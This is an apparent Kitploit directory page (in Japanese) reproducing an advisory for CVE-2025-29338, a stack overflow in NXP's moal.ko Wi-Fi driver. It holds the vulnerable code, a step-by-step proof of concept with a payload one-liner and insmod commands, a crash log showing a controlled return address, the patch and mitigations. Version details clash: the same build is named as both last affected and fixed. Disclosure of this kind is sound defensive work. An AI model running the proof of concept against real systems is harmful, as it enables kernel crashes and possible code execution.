Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-29338 — NXP moal.ko Wi-Fi カーネルドライバにおけるスタックベースのバッファオーバーフロー (CWE-121) に関する技術勧告および概念実証。これにより、ローカルカーネルパニックと潜在的な任意コード実行が可能になります。 | Kitploit
ツール/GitHubGitHub/masjadaan/cve-2025-29338
組み込みシステムセキュリティ脆弱性分析エクスプロイトハードウェアセキュリティバイナリエクスプロイト
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

NXP moal.ko Wi-Fi カーネルドライバにおけるスタックベースのバッファオーバーフロー (CWE-121) に関する技術勧告および概念実証。これにより、ローカルカーネルパニックと潜在的な任意コード実行が可能になります。

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-29338 — セキュリティ勧告

NXP moal.ko Wi-Fiカーネルドライバのバッファオーバーフロー(woal_setup_module_param / parse_cfg_get_line)

フィールド値
CVE IDCVE-2025-29338
深刻度High
CVSS v3.1スコア7.8
CVSS v3.1ベクターCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
脆弱性タイプスタックベースのバッファオーバーフロー (CWE-121)
攻撃ベクトルローカル
ベンダーNXP Semiconductors
ベンダーパッチ状況パッチ済み
発見者Mahmoud Jadaan — diconium auto GmbH

概要

NXP moal.ko Wi-Fiカーネルドライバ(バージョン5.1.7.10)のファームウェアビルドv17.92.1.p149.43からv17.92.1.p149.157に、スタックベースのバッファオーバーフロー脆弱性が存在します。この脆弱性は、parse_cfg_get_line(mlinux/moal_init.c)にあり、woal_setup_module_paramから呼び出されます。設定ファイルの行を固定サイズのスタックバッファに読み込むwhileループに宛先バッファサイズのチェックが欠如しており、任意の長さの行がバッファをオーバーフローさせ、スタックを破損し、カーネルパニックを引き起こす可能性があります。NXP PSIRTがこの脆弱性を確認し、修正がリリースされました。


影響を受ける製品


脆弱性の詳細

根本原因

woal_setup_module_paramはMAX_LINE_LENバイトの固定スタックバッファを割り当て、mod_para設定ファイルを処理する各反復でそのバッファをparse_cfg_get_lineに渡します:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

脆弱性のあるバージョンのparse_cfg_get_lineでは、whileループの条件はソース位置と行終端記号のみをチェックしており、宛先バッファに書き込まれたバイト数に対するチェックがありません:

root@kitploit:~
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

MAX_LINE_LENバイトより長い設定ファイルの行は、destが呼び出し元のスタックバッファの末尾を超えて進み、保存されたフレームポインタやリターンアドレスを含む隣接スタックメモリを上書きします。


攻撃ベクトル

属性値
タイプ

このドライバはシステム起動時にinsmodでロードされ、mod_paraパラメータで設定ファイルを指定します。細工された設定ファイルを作成し、カーネルモジュールをリロードできる攻撃者は、オーバーフローを引き起こすことができます。


影響

影響説明
サービス拒否カーネルパニック — 確認済み; 即時システム再起動を引き起こす
カーネルメモリ破損スタック破壊により保存されたrbpとリターンアドレスが上書きされる
潜在的なコード実行リターンアドレスが制御される — 適用されている緩和策(スタックカナリア、KASLRなど)に応じて任意のカーネルモードコード実行が可能になる可能性があります

CVSS v3.1 内訳

基本スコア: 7.8 (High) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


概念実証

防御および研究目的のみに提供されます。

ステップ1 — 既存のモジュールをアンロード

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

ステップ2 — 悪意のある設定ファイルを作成

スタックバッファはAで埋められ、その後にスタックカナリアスロット用の8バイト(B)、保存されたrbp用の8バイト(C)、リターンアドレスを上書きするための8バイト(D)が続きます:

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

ステップ3 — 細工された設定でモジュールをロード

mod_paraパスは、カーネルがファームウェアを検索するディレクトリ(通常は/lib/firmware/)からの相対パスである必要があります。それに応じてパスを構築します:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

ステップ4 — 観測された結果

モジュール初期化中に即座にカーネルパニックが発生します。カーネルログにより、リターンアドレスが0x4444444444444444(ASCII DDDDDDDD)で上書きされていることが確認され、命令ポインタが完全に制御されていることを示しています:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

ベンダーパッチ

NXP PSIRTは脆弱性を確認し、mlinux/moal_init.cに以下のパッチを提供しました。この修正は、parse_cfg_get_lineループ内に境界チェックを追加し、MAX_LINE_LENを超える前にループを抜けるようにします:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

緩和策

上記のパッチを含むv17.92.1.p149.157以降のファームウェアバージョンに更新してください。追加の強化策として:

  1. モジュールロードの制限 — CAP_SYS_MODULEを信頼された管理者に限定し、SELinux、AppArmor、またはseccompを介してinit_module / finit_moduleシステムコールを制限します。
  2. 設定ファイルパスの保護 — mod_paraが参照するパスとそのファイルがrootのみ書き込み可能であることを確認します。

参考文献

  • NXP mwifiex ドライバ (GPL): https://github.com/nxp-imx/mwifiex
  • NXP リリースノート: https://www.nxp.com/docs/en/release-note/RN00104.pdf

ベンダーステータス

NXP PSIRTは脆弱性を確認しました。修正は正式なソフトウェアアップデートの一部としてリリースされています。


クレジット

発見者: Mahmoud Jadaan — diconium auto GmbH


この勧告は、CVEプログラムに従って最低限のCVE開示要件を満たすための公開リファレンスとして公開されています。

ツールをダウンロード
フィールド詳細
ベンダーNXP Semiconductors
コンポーネントmoal.ko Wi-Fiカーネルドライバ
ドライババージョン5.1.7.10
ファームウェア — 最初の影響バージョンv17.92.1.p149.43
ファームウェア — 最後の影響バージョンv17.92.1.p149.157
ローカル
必要な権限CAP_SYS_MODULE (root または同等)
ユーザー操作なし
攻撃対象領域mod_para カーネルモジュールパラメータ(設定ファイルパス)
メトリック値根拠
攻撃ベクトル (AV)Local (L)ローカルシステムアクセスが必要
攻撃の複雑さ (AC)Low (L)競合状態や複雑な前提条件は不要
必要な権限 (PR)High (H)CAP_SYS_MODULE / root が必要
ユーザー操作 (UI)None (N)完全に攻撃者制御下
スコープ (S)Unchanged (U)影響はカーネルコンテキスト内に留まる
機密性 (C)High (H)カーネルメモリが読み取り可能になる可能性
完全性 (I)High (H)リターンアドレスの上書きを確認
可用性 (A)High (H)カーネルパニック / 再起動を確認